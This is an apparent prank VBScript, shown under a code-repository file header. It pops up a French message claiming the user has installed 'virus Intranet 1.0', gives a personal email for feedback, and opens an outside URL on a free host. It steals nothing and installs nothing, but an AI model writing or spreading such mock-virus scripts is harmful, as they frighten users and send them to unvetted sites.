8 lines
No EOL
412 B
Text
Executable file
8 lines
No EOL
412 B
Text
Executable file
result = MsgBox ("Vous venez d'installer le virus Intranet 1.0, merci de tester ce programme et de m'envoyer vos retours sur alzyoic1200@gmail.com, pour le désinstaller, lancez le programme Uninstall Intranet", vbInformation, "Intranet Installer")
|
|
|
|
Select Case result
|
|
Case vbOk
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "http://cubeadventures.16mb.com/fr/Intranet.html"
|
|
|
|
End Select |